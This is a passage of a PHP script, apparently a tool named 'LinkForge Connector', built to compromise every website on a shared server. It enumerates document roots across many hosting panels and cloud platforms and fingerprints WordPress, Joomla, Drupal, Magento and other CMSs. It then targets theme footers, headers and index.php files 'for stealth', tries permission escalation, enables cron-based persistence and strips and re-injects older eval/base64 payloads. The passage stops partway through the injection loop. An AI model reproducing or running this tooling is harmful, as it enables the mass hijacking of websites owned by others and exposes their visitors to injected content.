    }
    $sites2 = safe_scandir('/var/www/sites');
    if ($sites2) {
        foreach ($sites2 as $s) {
            if ($s === '.' || $s === '..') continue;
            add_root('/var/www/sites/'.$s.'/public_html');
        }
    }
}

function scan_fastpanel() {
    $sites = safe_scandir('/var/www');
    if (!$sites) return;
    foreach ($sites as $site) {
        if ($site === '.' || $site === '..' || $site === 'html') continue;
        add_root('/var/www/'.$site.'/public_html');
        add_root('/var/www/'.$site.'/www');
        add_root('/var/www/'.$site);
    }
}

function scan_keyhelp() {
    $sites = safe_scandir('/var/www/vhosts');
    if (!$sites) return;
    foreach ($sites as $site) {
        if ($site === '.' || $site === '..') continue;
        add_root('/var/www/vhosts/'.$site.'/httpdocs');
        add_root('/var/www/vhosts/'.$site.'/web');
    }
}

function scan_froxlor() {
    $sites = safe_scandir('/var/customers/webs');
    if (!$sites) return;
    foreach ($sites as $site) {
        if ($site === '.' || $site === '..') continue;
        add_root('/var/customers/webs/'.$site);
        $subs = safe_scandir('/var/customers/webs/'.$site);
        if ($subs) {
            foreach ($subs as $sub) {
                if ($sub === '.' || $sub === '..') continue;
                add_root('/var/customers/webs/'.$site.'/'.$sub);
            }
        }
    }
}

function scan_sentora() {
    $sites = safe_scandir('/var/sentora/hostdata');
    if (!$sites) return;
    foreach ($sites as $user) {
        if ($user === '.' || $user === '..') continue;
        $pub = safe_scandir('/var/sentora/hostdata/'.$user.'/public_html');
        if ($pub) {
            foreach ($pub as $site) {
                if ($site === '.' || $site === '..') continue;
                add_root('/var/sentora/hostdata/'.$user.'/public_html/'.$site);
            }
        }
        add_root('/var/sentora/hostdata/'.$user.'/public_html');
    }
}

function scan_cwp() {
    $home_list = safe_scandir('/home');
    if (!$home_list) return;
    foreach ($home_list as $user) {
        if ($user === '.' || $user === '..') continue;
        $pub = safe_scandir('/home/'.$user.'/public_html');
        if ($pub) {
            foreach ($pub as $site) {
                if ($site === '.' || $site === '..') continue;
                add_root('/home/'.$user.'/public_html/'.$site);
            }
        }
        add_root('/home/'.$user.'/public_html');
    }
}

function scan_spanel() {
    $sites = safe_scandir('/home');
    if (!$sites) return;
    foreach ($sites as $user) {
        if ($user === '.' || $user === '..') continue;
        $doms = safe_scandir('/home/'.$user.'/domains');
        if ($doms) {
            foreach ($doms as $dom) {
                if ($dom === '.' || $dom === '..') continue;
                add_root('/home/'.$user.'/domains/'.$dom.'/public_html');
            }
        }
    }
}

function scan_vhost_configs() {
    $config_bases = array(
        '/etc/apache2/sites-enabled', '/etc/apache2/sites-available',
        '/etc/apache2/conf.d', '/etc/apache2/vhosts.d',
        '/etc/httpd/conf.d', '/etc/httpd/conf', '/etc/httpd/vhosts',
        '/usr/local/apache2/conf', '/usr/local/apache2/conf.d',
        '/usr/local/etc/apache24/Includes',
        '/etc/nginx/sites-enabled', '/etc/nginx/sites-available',
        '/etc/nginx/conf.d', '/etc/nginx/vhosts',
        '/usr/local/etc/nginx', '/usr/local/nginx/conf',
        '/etc/openresty/conf.d', '/usr/local/openresty/nginx/conf',
        '/etc/lighttpd/conf-enabled', '/etc/lighttpd/vhosts.d',
        '/usr/local/lsws/conf/vhosts',
    );

    foreach ($config_bases as $cp) {
        if (!safe_is_dir($cp) || !is_readable($cp)) continue;
        $entries = safe_scandir($cp);
        if (!$entries) continue;
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            $fpath = $cp.'/'.$entry;
            if (safe_is_dir($fpath)) continue;
            if (!is_readable($fpath)) continue;
            $sz = @filesize($fpath);
            if ($sz === false || $sz > 2097152) continue;
            $content = @file_get_contents($fpath);
            if (!$content) continue;

            $patterns = array(
                '/DocumentRoot\s+["\']?([^"\'\s;#]+)/i',
                '/root\s+["\']?([^"\'\s;#]+)/i',
                '/server\.root\s*[=:]\s*["\']?([^"\'\s;#]+)/i',
                '/docroot\s*[=:]\s*["\']?([^"\'\s;#]+)/i',
                '/vhost_dir\s*[=:]\s*["\']?([^"\'\s;#]+)/i',
                '/website_path\s*[=:]\s*["\']?([^"\'\s;#]+)/i',
                '/php_admin_value\s+doc_root\s+["\']?([^"\'\s;#]+)/i',
                '/SetEnv\s+VH_ROOT\s+["\']?([^"\'\s;#]+)/i',
            );
            foreach ($patterns as $pat) {
                if (preg_match_all($pat, $content, $m)) {
                    foreach ($m[1] as $root) {
                        $root = trim($root);
                        if (empty($root) || $root === '/' || $root === '\\') continue;
                        $root = str_replace(array('$VH_ROOT', '${VH_ROOT}'), array('/var/www', '/var/www'), $root);
                        $root = str_replace(array('$SERVER_ROOT', '${SERVER_ROOT}'), array('/usr/local/lsws', '/usr/local/lsws'), $root);
                        add_root($root);
                    }
                }
            }
        }
    }
}

function scan_generic() {
    $bases = array('/var/www', '/srv/www', '/usr/share/nginx/html', '/usr/local/www', '/opt/www', '/data/www');
    foreach ($bases as $base) {
        if (!safe_is_dir($base)) continue;
        add_root($base);
        $entries = safe_scandir($base);
        if (!$entries) continue;
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            $path = $base.'/'.$entry;
            if (!safe_is_dir($path)) continue;
            add_root($path);
            foreach (array('public_html', 'www', 'htdocs', 'html', 'web', 'httpdocs', 'httpsdocs', 'docroot', 'public', 'app', 'current') as $sub) {
                add_root($path.'/'.$sub);
            }
        }
    }
}

function scan_siblings() {
    global $_real_root;
    $parent = dirname($_real_root);
    if (!$parent || $parent === '/' || $parent === '\\') return;
    if (!safe_is_dir($parent)) return;
    $entries = safe_scandir($parent);
    if (!$entries) return;
    foreach ($entries as $entry) {
        if ($entry === '.' || $entry === '..') continue;
        $full = $parent.'/'.$entry;
        if (!safe_is_dir($full)) continue;
        add_root($full);
        foreach (array('public_html', 'www', 'htdocs', 'html', 'web', 'httpdocs', 'httpsdocs', 'docroot') as $sub) {
            add_root($full.'/'.$sub);
        }
    }
}

function scan_iis() {
    $paths = array('C:/inetpub/wwwroot', 'C:/inetpub/vhosts', '/inetpub/wwwroot', '/inetpub/vhosts');
    foreach ($paths as $base) {
        if (!safe_is_dir($base)) continue;
        add_root($base);
        $entries = safe_scandir($base);
        if (!$entries) continue;
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            add_root($base.'/'.$entry);
        }
    }
}

function scan_docker() {
    $paths = array(
        '/var/www/html', '/var/www/localhost/htdocs', '/var/www/localhost/html',
        '/var/www/public', '/app/public', '/app', '/code', '/project',
        '/data/www', '/usr/share/nginx/html', '/srv/app/public',
        '/var/www/wordpress', '/var/www/drupal', '/var/www/joomla',
        '/var/www/magento', '/var/www/prestashop', '/var/www/opencart',
    );
    foreach ($paths as $p) { add_root($p); }
}

function scan_xampp() {
    $paths = array(
        '/opt/lampp/htdocs', '/Applications/XAMPP/htdocs',
        '/Applications/MAMP/htdocs', 'C:/xampp/htdocs',
        'C:/wamp/www', 'C:/wamp64/www', '/Applications/MAMP/Library/htdocs',
    );
    foreach ($paths as $p) {
        add_root($p);
        if (!safe_is_dir($p)) continue;
        $entries = safe_scandir($p);
        if (!$entries) continue;
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            add_root($p.'/'.$entry);
        }
    }
}

function scan_bitnami() {
    $paths = array('/opt/bitnami/apps', '/bitnami', '/opt/bitnami');
    foreach ($paths as $base) {
        if (!safe_is_dir($base)) continue;
        $entries = safe_scandir($base);
        if (!$entries) continue;
        foreach ($entries as $app) {
            if ($app === '.' || $app === '..') continue;
            add_root($base.'/'.$app.'/htdocs');
            add_root($base.'/'.$app);
        }
    }
}

function scan_wp_roots() {
    $bases = array_merge(
        array('/var/www', '/srv/www', '/home', '/opt', '/usr/share'),
        safe_glob('/var/www/*', GLOB_ONLYDIR),
        safe_glob('/home/*', GLOB_ONLYDIR)
    );
    foreach ($bases as $base) {
        if (!safe_is_dir($base)) continue;
        try {
            $rii = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS | FilesystemIterator::CURRENT_AS_FILEINFO),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $rii->setMaxDepth(3);
            foreach ($rii as $file) {
                if ($file->getFilename() === 'wp-config.php' || $file->getFilename() === 'wp-load.php') {
                    add_root(dirname($file->getPathname()));
                }
            }
        } catch (Exception $e) { continue; }
    }
}

function scan_joomla_roots() {
    $bases = array_merge(
        array('/var/www', '/srv/www', '/home', '/opt', '/usr/share'),
        safe_glob('/var/www/*', GLOB_ONLYDIR),
        safe_glob('/home/*', GLOB_ONLYDIR)
    );
    foreach ($bases as $base) {
        if (!safe_is_dir($base)) continue;
        try {
            $rii = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS | FilesystemIterator::CURRENT_AS_FILEINFO),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $rii->setMaxDepth(3);
            foreach ($rii as $file) {
                if ($file->getFilename() === 'configuration.php') {
                    $root = dirname($file->getPathname());
                    if (safe_file_exists($root.'/administrator') || safe_file_exists($root.'/components')) {
                        add_root($root);
                    }
                }
            }
        } catch (Exception $e) { continue; }
    }
}

function scan_drupal_roots() {
    $bases = array_merge(
        array('/var/www', '/srv/www', '/home', '/opt'),
        safe_glob('/var/www/*', GLOB_ONLYDIR),
        safe_glob('/home/*', GLOB_ONLYDIR)
    );
    foreach ($bases as $base) {
        if (!safe_is_dir($base)) continue;
        try {
            $rii = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS | FilesystemIterator::CURRENT_AS_FILEINFO),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $rii->setMaxDepth(3);
            foreach ($rii as $file) {
                if ($file->getFilename() === 'settings.php') {
                    $root = dirname(dirname($file->getPathname()));
                    if (safe_file_exists($root.'/core') || safe_file_exists($root.'/modules')) {
                        add_root($root);
                    }
                }
            }
        } catch (Exception $e) { continue; }
    }
}

function scan_windows() {
    $paths = array(
        'C:/inetpub/wwwroot', 'C:/inetpub/vhosts', 'C:/Websites', 'C:/www', 'C:/web',
        'C:/wamp/www', 'C:/wamp64/www', 'C:/xampp/htdocs',
        'D:/Websites', 'D:/www', 'D:/web', 'D:/xampp/htdocs',
        'E:/Websites', 'E:/www', 'E:/web',
    );
    foreach ($paths as $p) {
        add_root($p);
        if (!safe_is_dir($p)) continue;
        $entries = safe_scandir($p);
        if (!$entries) continue;
        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            add_root($p.'/'.$entry);
        }
    }
}

function scan_cloud() {
    // AWS Elastic Beanstalk
    if (safe_is_dir('/var/app/current')) add_root('/var/app/current');
    if (safe_is_dir('/var/app/current/public')) add_root('/var/app/current/public');
    // GCP App Engine
    if (safe_is_dir('/workspace')) add_root('/workspace');
    if (safe_is_dir('/workspace/public')) add_root('/workspace/public');
    if (safe_is_dir('/workspace/web')) add_root('/workspace/web');
    if (safe_is_dir('/srv/workspace')) add_root('/srv/workspace');
    // Azure
    if (safe_is_dir('/home/site/wwwroot')) {
        add_root('/home/site/wwwroot');
        add_root('/home/site/wwwroot/public');
    }
    // Heroku
    if (safe_is_dir('/app')) {
        add_root('/app');
        add_root('/app/public');
        add_root('/app/web');
    }
    // Fly.io
    if (safe_is_dir('/app') && getenv('FLY_APP_NAME')) {
        add_root('/app');
        add_root('/app/public');
    }
    // Railway
    if (safe_is_dir('/app') && getenv('RAILWAY_ENVIRONMENT')) {
        add_root('/app');
        add_root('/app/public');
    }
    // Render
    if (safe_is_dir('/opt/render/project')) {
        add_root('/opt/render/project/src');
        add_root('/opt/render/project/src/public');
    }
    // Laravel Forge
    if (safe_is_dir('/home/forge')) {
        $sites = safe_scandir('/home/forge');
        if ($sites) {
            foreach ($sites as $site) {
                if ($site === '.' || $site === '..') continue;
                add_root('/home/forge/'.$site);
                add_root('/home/forge/'.$site.'/public');
                add_root('/home/forge/'.$site.'/current/public');
            }
        }
    }
    // Dokku
    if (safe_is_dir('/home/dokku')) {
        $apps = safe_scandir('/home/dokku');
        if ($apps) {
            foreach ($apps as $app) {
                if ($app === '.' || $app === '..' || $app === 'GITLAB') continue;
                add_root('/home/dokku/'.$app);
                add_root('/var/lib/dokku/data/storage/'.$app);
            }
        }
    }
    // Platform.sh
    if (safe_is_dir('/app')) {
        add_root('/app');
        add_root('/app/public');
        add_root('/app/web');
        add_root('/app/_www');
    }
    // Clever Cloud
    if (getenv('APP_HOME') && safe_is_dir(getenv('APP_HOME'))) {
        add_root(getenv('APP_HOME'));
        add_root(getenv('APP_HOME').'/public');
    }
}

// ================================================================
// EXECUTE ALL SCANNERS (Priority-ordered based on hints)
// ================================================================
out(_c("[i] Scanning all hosting panel patterns (priority-ordered)..."));
out();

$all_scanners = array(
    'cPanel'       => 'scan_cpanel',
    'Plesk'        => 'scan_plesk',
    'DirectAdmin'  => 'scan_directadmin',
    'ISPConfig'    => 'scan_ispconfig',
    'Hestia/Vesta' => 'scan_hestia',
    'CyberPanel'   => 'scan_cyberpanel',
    'CloudPanel'   => 'scan_cloudpanel',
    'RunCloud'     => 'scan_runcloud',
    'ServerPilot'  => 'scan_serverpilot',
    'EasyEngine'   => 'scan_easyengine',
    'aaPanel'      => 'scan_aapanel',
    'OpenPanel'    => 'scan_openpanel',
    'LiteSpeed'    => 'scan_litespeed',
    'Enhance'      => 'scan_enhance',
    'FastPanel'    => 'scan_fastpanel',
    'KeyHelp'      => 'scan_keyhelp',
    'Froxlor'      => 'scan_froxlor',
    'Sentora'      => 'scan_sentora',
    'CWP'          => 'scan_cwp',
    'sPanel'       => 'scan_spanel',
    'VhostConfigs' => 'scan_vhost_configs',
    'GenericWWW'   => 'scan_generic',
    'Siblings'     => 'scan_siblings',
    'IIS'          => 'scan_iis',
    'Docker'       => 'scan_docker',
    'XAMPP/WAMP'   => 'scan_xampp',
    'Bitnami'      => 'scan_bitnami',
    'Cloud'        => 'scan_cloud',
    'WordPress'    => 'scan_wp_roots',
    'Joomla'       => 'scan_joomla_roots',
    'Drupal'       => 'scan_drupal_roots',
    'Windows'      => 'scan_windows',
);

// Reorder: hinted panels first, then the rest
$priority_scanners = array();
$remaining_scanners = array();
foreach ($all_scanners as $name => $func) {
    $is_hinted = false;
    foreach ($_panel_hints as $hint) {
        if (stripos($name, $hint) !== false || stripos($hint, strtolower($name)) !== false) {
            $is_hinted = true; break;
        }
    }
    if ($is_hinted) $priority_scanners[$name] = $func;
    else $remaining_scanners[$name] = $func;
}
$execution_order = array_merge($priority_scanners, $remaining_scanners);

foreach ($execution_order as $name => $func) {
    $before = count($_all_roots);
    try { call_user_func($func); } catch (Exception $e) { /* skip */ }
    $after = count($_all_roots);
    $found = $after - $before;
    if ($found > 0) {
        $prefix = isset($priority_scanners[$name]) ? _b("[PRIORITY] ") : "";
        out($prefix . _g("[+]") . " " . str_pad($name, 18) . _g(" +").$found._g(" site(s)"));
    }
}

out();
out(_g("[+] Total unique web roots found: ") . _b(count($_all_roots)));
out();

if (count($_all_roots) === 0) {
    out(_r("[X] No website roots found!"));
    out(_y("[i] Trying DOC_ROOT fallback..."));
    add_root($_real_root);
}

// ================================================================
// CMS FINGERPRINTING & MULTI-PATH TARGET DISCOVERY
// ================================================================
$_cms_signatures = array(
    'WordPress'   => array('wp-config.php'=>3, 'wp-admin'=>2, 'wp-content'=>2, 'wp-load.php'=>3, 'wp-includes'=>1, 'wp-settings.php'=>3),
    'Joomla'      => array('configuration.php'=>3, 'administrator'=>2, 'libraries'=>1, 'components'=>1, 'plugins'=>1, 'templates'=>1, 'language'=>1, 'cache'=>1),
    'Drupal'      => array('sites/default/settings.php'=>3, 'sites'=>1, 'modules'=>1, 'themes'=>1, 'core'=>2, 'profiles'=>1),
    'Magento'     => array('app/etc/env.php'=>3, 'app/etc/local.xml'=>3, 'app/Mage.php'=>2, 'vendor/magento'=>2, 'bin/magento'=>2),
    'PrestaShop'  => array('config/settings.inc.php'=>3, 'config/config.inc.php'=>3, 'classes'=>1, 'controllers'=>1, 'src/Core'=>2),
    'OpenCart'    => array('config.php'=>2, 'admin/config.php'=>2, 'system'=>1, 'catalog'=>1, 'image'=>1),
    'Laravel'     => array('artisan'=>2, 'bootstrap/app.php'=>2, 'routes/web.php'=>1, 'config/app.php'=>1, 'vendor/laravel'=>2),
    'Symfony'     => array('bin/console'=>2, 'config/bundles.php'=>2, 'src/Kernel.php'=>2, 'vendor/symfony'=>2),
    'CodeIgniter' => array('application/config/config.php'=>2, 'system/core/CodeIgniter.php'=>2),
    'CakePHP'     => array('config/app.php'=>2, 'src/Application.php'=>2, 'vendor/cakephp'=>2),
    'TYPO3'       => array('typo3/index.php'=>3, 'typo3conf'=>2, 'fileadmin'=>1),
    'MODX'        => array('core/config/config.inc.php'=>3, 'manager/index.php'=>2, 'connectors'=>1),
    'ProcessWire' => array('wire/core/ProcessWire.php'=>3, 'site/config.php'=>2),
    'SilverStripe'=> array('app/_config.php'=>2, 'cms'=>1, 'vendor/silverstripe'=>2),
    'Contao'      => array('system/modules'=>2, 'web/app.php'=>2, 'vendor/contao'=>2),
    'Ghost'       => array('core/index.js'=>3, 'content/themes'=>1),
    'Django'      => array('manage.py'=>3, 'wsgi.py'=>2, 'requirements.txt'=>1),
    'Flask'       => array('app.py'=>2, 'wsgi.py'=>2, 'requirements.txt'=>1),
    'Shopify'     => array('shopify.app.toml'=>3, 'config/settings_schema.json'=>2),
    'GhostCMS'    => array('content/themes'=>2, 'core/boot.js'=>3),
    'Microweber'  => array('config/microweber.php'=>3, 'src/Microweber'=>2),
    'ConcreteCMS' => array('concrete/config/concrete.php'=>3, 'application/config'=>1),
    'OctoberCMS'  => array('config/cms.php'=>2, 'modules/cms'=>2, 'plugins'=>1),
    'Statamic'    => array('please'=>2, 'config/statamic'=>2, 'content'=>1),
    'ExpressionEngine'=> array('system/user/config/config.php'=>3, 'system/ee'=>2),
);

// CMS-specific injection paths (primary targets for stealth)
$_cms_inject_paths = array(
    'WordPress'   => array(
        'primary'   => array('wp-content/themes/%ACTIVE%/footer.php', 'wp-content/themes/%ACTIVE%/header.php'),
        'secondary' => array('index.php'),
        'hook_file' => 'wp-content/themes/%ACTIVE%/functions.php',
    ),
    'Joomla'      => array(
        'primary'   => array('templates/%ACTIVE%/index.php', 'templates/%ACTIVE%/error.php'),
        'secondary' => array('index.php'),
        'hook_file' => 'templates/%ACTIVE%/component.php',
    ),
    'Drupal'      => array(
        'primary'   => array('themes/%ACTIVE%/%ACTIVE%.theme', 'themes/%ACTIVE%/templates/page.html.twig'),
        'secondary' => array('index.php'),
        'hook_file' => 'sites/default/settings.php',
    ),
    'Magento'     => array(
        'primary'   => array('app/design/frontend/%ACTIVE%/%ACTIVE%/templates/html/footer.phtml'),
        'secondary' => array('index.php'),
        'hook_file' => 'app/etc/di.xml',
    ),
    'PrestaShop'  => array(
        'primary'   => array('themes/%ACTIVE%/templates/_partials/footer.tpl'),
        'secondary' => array('index.php'),
        'hook_file' => 'config/config.inc.php',
    ),
    'OpenCart'    => array(
        'primary'   => array('catalog/view/theme/%ACTIVE%/template/common/footer.twig', 'catalog/view/theme/%ACTIVE%/template/common/footer.tpl'),
        'secondary' => array('index.php'),
    ),
    'Laravel'     => array(
        'primary'   => array('resources/views/layouts/app.blade.php', 'resources/views/welcome.blade.php'),
        'secondary' => array('public/index.php', 'index.php'),
    ),
    'Symfony'     => array(
        'primary'   => array('templates/base.html.twig'),
        'secondary' => array('public/index.php'),
    ),
);

$_homepage_targets = array();

out(_c("[i] Fingerprinting CMS and discovering injection targets..."));
out();

// ---- Discover active themes/templates for major CMS ----
function discover_active_themes($root, $cms) {
    $themes = array();

    if ($cms === 'WordPress') {
        $config = $root.'/wp-config.php';
        if (safe_file_exists($config)) {
            $c = @file_get_contents($config);
            if ($c && preg_match('/define\\s*\\(\\s*[\'"]WP_DEFAULT_THEME[\'"]\\s*,\\s*[\'"]([^\'"]+)/', $c, $m)) {
                $themes[] = $m[1];
            }
        }
        $theme_root = $root.'/wp-content/themes';
        if (safe_is_dir($theme_root)) {
            $entries = safe_scandir($theme_root);
            if ($entries) {
                foreach ($entries as $e) {
                    if ($e === '.' || $e === '..' || $e === 'index.php') continue;
                    if (safe_file_exists($theme_root.'/'.$e.'/style.css')) {
                        $themes[] = $e;
                    }
                }
            }
        }
    }

    if ($cms === 'Joomla') {
        $config = $root.'/configuration.php';
        if (safe_file_exists($config)) {
            $c = @file_get_contents($config);
            if ($c) {
                if (preg_match('/\\$template\\s*=\\s*[\'"]([^\'"]+)/', $c, $m)) $themes[] = $m[1];
            }
        }
        $tpl_root = $root.'/templates';
        if (safe_is_dir($tpl_root)) {
            $entries = safe_scandir($tpl_root);
            if ($entries) {
                foreach ($entries as $e) {
                    if ($e === '.' || $e === '..' || $e === 'index.html') continue;
                    if (safe_file_exists($tpl_root.'/'.$e.'/index.php') || safe_file_exists($tpl_root.'/'.$e.'/templateDetails.xml')) {
                        $themes[] = $e;
                    }
                }
            }
        }
    }

    if ($cms === 'Drupal') {
        $settings = $root.'/sites/default/settings.php';
        if (safe_file_exists($settings)) {
            $c = @file_get_contents($settings);
            if ($c && preg_match('/[\'"]?theme_default[\'"]?\\s*=>?\\s*[\'"]([^\'"]+)/', $c, $m)) {
                $themes[] = $m[1];
            }
        }
        $themes_root = $root.'/themes';
        if (safe_is_dir($themes_root)) {
            $entries = safe_scandir($themes_root);
            if ($entries) {
                foreach ($entries as $e) {
                    if ($e === '.' || $e === '..' || $e === 'README.txt') continue;
                    if (safe_is_dir($themes_root.'/'.$e)) $themes[] = $e;
                }
            }
        }
    }

    if ($cms === 'Magento') {
        $themes[] = 'default';
        $theme_root = $root.'/app/design/frontend';
        if (safe_is_dir($theme_root)) {
            $pkgs = safe_scandir($theme_root);
            if ($pkgs) {
                foreach ($pkgs as $pkg) {
                    if ($pkg === '.' || $pkg === '..') continue;
                    $subs = safe_scandir($theme_root.'/'.$pkg);
                    if ($subs) {
                        foreach ($subs as $sub) {
                            if ($sub === '.' || $sub === '..') continue;
                            $themes[] = $pkg.'/'.$sub;
                        }
                    }
                }
            }
        }
    }

    if ($cms === 'OpenCart') {
        $themes[] = 'default';
        $config = $root.'/config.php';
        if (safe_file_exists($config)) {
            $c = @file_get_contents($config);
            if ($c && preg_match('/[\'"]?theme_default_directory[\'"]?\\s*=>?\\s*[\'"]([^\'"]+)/', $c, $m)) {
                $themes[] = $m[1];
            }
        }
    }

    if ($cms === 'PrestaShop') {
        $themes[] = 'classic';
        $theme_root = $root.'/themes';
        if (safe_is_dir($theme_root)) {
            $entries = safe_scandir($theme_root);
            if ($entries) {
                foreach ($entries as $e) {
                    if ($e === '.' || $e === '..' || $e === 'index.php') continue;
                    if (safe_is_dir($theme_root.'/'.$e)) $themes[] = $e;
                }
            }
        }
    }

    return array_unique($themes);
}

foreach ($_all_roots as $root) {
    // Skip backup/old copies of sites (e.g. httpdocs-old)
    if (lf_is_backup_dir($root)) continue;
    $index_file = $root.'/index.php';
    if (!safe_file_exists($index_file) && !safe_file_exists($root.'/index.html')) continue;
    if (safe_file_exists($index_file) && !is_readable($index_file)) continue;
    if (safe_file_exists($index_file)) {
        $fsize = @filesize($index_file);
        if ($fsize === false || $fsize < 5) continue;
    }

    // Weighted CMS fingerprinting
    $cms = 'Unknown';
    $max_score = 0;
    $detected_cms = 'Unknown';
    foreach ($_cms_signatures as $cms_name => $markers) {
        $score = 0;
        foreach ($markers as $marker => $weight) {
            if (safe_file_exists($root.'/'.$marker)) $score += $weight;
        }
        if ($score > $max_score) {
            $max_score = $score;
            $detected_cms = $cms_name;
        }
    }

    // Require minimum confidence
    if ($max_score >= 2) {
        $cms = $detected_cms;
    } else {
        $dir_name = strtolower(basename($root));
        $web_names = array('public_html', 'www', 'htdocs', 'html', 'httpdocs', 'httpsdocs', 'web', 'docroot');
        if (in_array($dir_name, $web_names, true)) {
            $cms = 'Generic-Web';
        } else {
            continue; // Skip uncertain targets
        }
    }

    // Build target list with CMS-specific paths
    $targets = array();

    // If CMS has specialized injection paths, try those first
    if (isset($_cms_inject_paths[$cms])) {
        $paths = $_cms_inject_paths[$cms];

        // Discover active theme/template
        $active_themes = discover_active_themes($root, $cms);

        foreach (array('primary', 'secondary') as $priority) {
            if (!isset($paths[$priority])) continue;
            foreach ($paths[$priority] as $tpl) {
                if (strpos($tpl, '%ACTIVE%') !== false) {
                    foreach ($active_themes as $theme) {
                        $real_path = $root.'/'.str_replace('%ACTIVE%', $theme, $tpl);
                        if (safe_file_exists($real_path) && is_readable($real_path)) {
                            $targets[] = array('file'=>$real_path, 'priority'=>$priority==='primary'?1:2, 'type'=>'cms-specific');
                        }
                    }
                } else {
                    $real_path = $root.'/'.$tpl;
                    if (safe_file_exists($real_path) && is_readable($real_path)) {
                        $targets[] = array('file'=>$real_path, 'priority'=>$priority==='primary'?1:2, 'type'=>'cms-specific');
                    }
                }
            }
        }
    }

    // Fallback: always include index.php
    if (safe_file_exists($index_file) && is_readable($index_file)) {
        $targets[] = array('file'=>$index_file, 'priority'=>3, 'type'=>'index');
    }

    if (!empty($targets)) {
        // Sort by priority
        usort($targets, function($a,$b){ return $a['priority'] - $b['priority']; });
        $_homepage_targets[] = array(
            'root'      => $root,
            'cms'       => $cms,
            'score'     => $max_score,
            'targets'   => $targets,
            'primary_target' => $targets[0]['file'],
        );
    }
}


// Deduplicate targets by root
$_seen = array();
$_homepage_targets = array_values(array_filter($_homepage_targets, function($t) {
    static $seen = array();
    if (in_array($t['root'], $seen, true)) return false;
    $seen[] = $t['root'];
    return true;
}));

out(_g("[+] ") . count($_homepage_targets) . _g(" site(s) with valid targets confirmed"));
out();

foreach ($_homepage_targets as $t) {
    $target_count = count($t['targets']);
    $target_types = array_unique(array_map(function($x){ return $x['type']; }, $t['targets']));
    out(_g("  [OK] ") . basename(dirname($t['root'])).'/'.basename($t['root']) 
        . _c(" [".$t['cms'].($t['score'] > 0 ? ",conf:".$t['score'] : '')."]")
        . _d(" targets:".$target_count." [".implode(',', $target_types)."]"));
}
out();

// ================================================================
// INJECTION PHASE: CMS-Aware Multi-Path Strategy
// ================================================================
$_stats = array(
    'scanned'    => 0,
    'injected'   => 0,
    'upgraded'   => 0,
    'skipped'    => 0,
    'failed'     => 0,
    'cms_breakdown' => array(),
    'errors'     => array(),
);

out(_m("=").str_repeat("=", 70)._m("="));
out(_m("  INJECTION — CMS-Aware Multi-Path Strategy"));
out(_m("=").str_repeat("=", 70)._m("="));
out();

// Run configuration — no params needed, just execute
$_stealth = false;        // index.php stays in the target list
$_obfuscate = false;      // classic readable payload (auto-evades only if WAF detected)
$_cron_install = true;    // self-healing persistence on by default
$_inject_all = true;      // MAX COVERAGE: index.php + every CMS-specific path

out(_g("[MODE] Direct run — injecting ALL targets (index.php + CMS paths), cron persistence ON"));
out();

foreach ($_homepage_targets as $target) {
    $root = $target['root'];
    $cms  = $target['cms'];
    $targets = $target['targets'];

    // Full coverage: index.php first, then every CMS-specific path
    $index_targets = array();
    $cms_targets = array();
    foreach ($targets as $t) {
        if ($t['type'] === 'index') $index_targets[] = $t;
        else $cms_targets[] = $t;
    }
    $ordered = array_merge($index_targets, $cms_targets);
    // Dedupe identical files (index.php appears in both lists)
    $_seen_files = array();
    $_deduped = array();
    foreach ($ordered as $_t) {
        $_rp = safe_realpath($_t['file']);
        if (isset($_seen_files[$_rp])) continue;
        $_seen_files[$_rp] = 1;
        $_deduped[] = $_t;
    }
    $ordered = $_deduped;
    $stop_after_first = false;

    out(_y("[TARGET] ") . _w(basename(dirname($root)).'/'.basename($root)) . _y(" [".$cms."]"));

    $site_injected = false;
    $index_done = false;
    foreach ($ordered as $tidx => $tinfo) {
        $file = $tinfo['file'];
        $type = $tinfo['type'];


        if (!safe_file_exists($file) || !is_readable($file)) continue;

        out(_d("  Trying: ") . basename(dirname($file)).'/'.basename($file) . _d(" [".$type."]"));

        // Step 1: Read
        $content = @file_get_contents($file);
        if ($content === false) {
            out(_r("    [FAIL] Cannot read"));
            continue;
        }

        // Step 2: Already injected? Detect current vs old payload versions
        $_has_old = (strpos($content, 'LF-CONN-V6') !== false
                     || stripos($content, 'LinkForge Connector') !== false
                     || stripos($content, 'linkforge.cc') !== false
                     || preg_match('/eval\(base64_decode\(/', $content));
        $_has_current = (strpos($content, 'Connector v6.1') !== false);
        if ($_has_old && $_has_current) {
            out(_y("    [SKIP] Already injected (v6.1)"));
            $_stats['skipped']++;
            $site_injected = true;
            continue; // check remaining targets too
        }
        if ($_has_old && !$_has_current) {
            // Outdated/broken payload — strip it and re-inject v6.1
            list($stripped, $did_strip) = lf_strip_payload($content);
            if (!$did_strip) {
                // Fallback: restore the pre-injection backup (always clean)
                $backs = safe_glob($file.'.lf.bak.*');
                if (!empty($backs)) {
                    sort($backs);
                    $bak_content = @file_get_contents($backs[0]);
                    if ($bak_content !== false && stripos($bak_content, 'linkforge') === false) {
                        $stripped = $bak_content;
                        $did_strip = true;
                    }
                }
            }
            if ($did_strip) {
                $content = $stripped;
                out(_c("    [UPGRADE] Old payload stripped — re-injecting v6.1"));
                $_stats['upgraded']++;
            } else {
                out(_r("    [FAIL] Old payload present but could not be removed safely"));
                continue;
            }
        }

        // Step 3: Permission escalation
        $writable = escalate_writable($file);
        if (!$writable) {
            out(_r("    [FAIL] Not writable (after all escalation attempts)"));
            continue;
        }

        // Step 4: Disk space check
        if (!disk_space_ok($file, strlen($_payload) + strlen($content) + 1024)) {
            out(_r("    [FAIL] Insufficient disk space"));
            continue;
        }

        // Step 5: Create backup with rotation
        $backup_base = $file.'.lf.bak';
        $backup = $backup_base.'.'.time();
        // Clean old backups (keep last 3)
        $old_backups = safe_glob($backup_base.'.*');
        if (count($old_backups) > 3) {
            usort($old_backups);
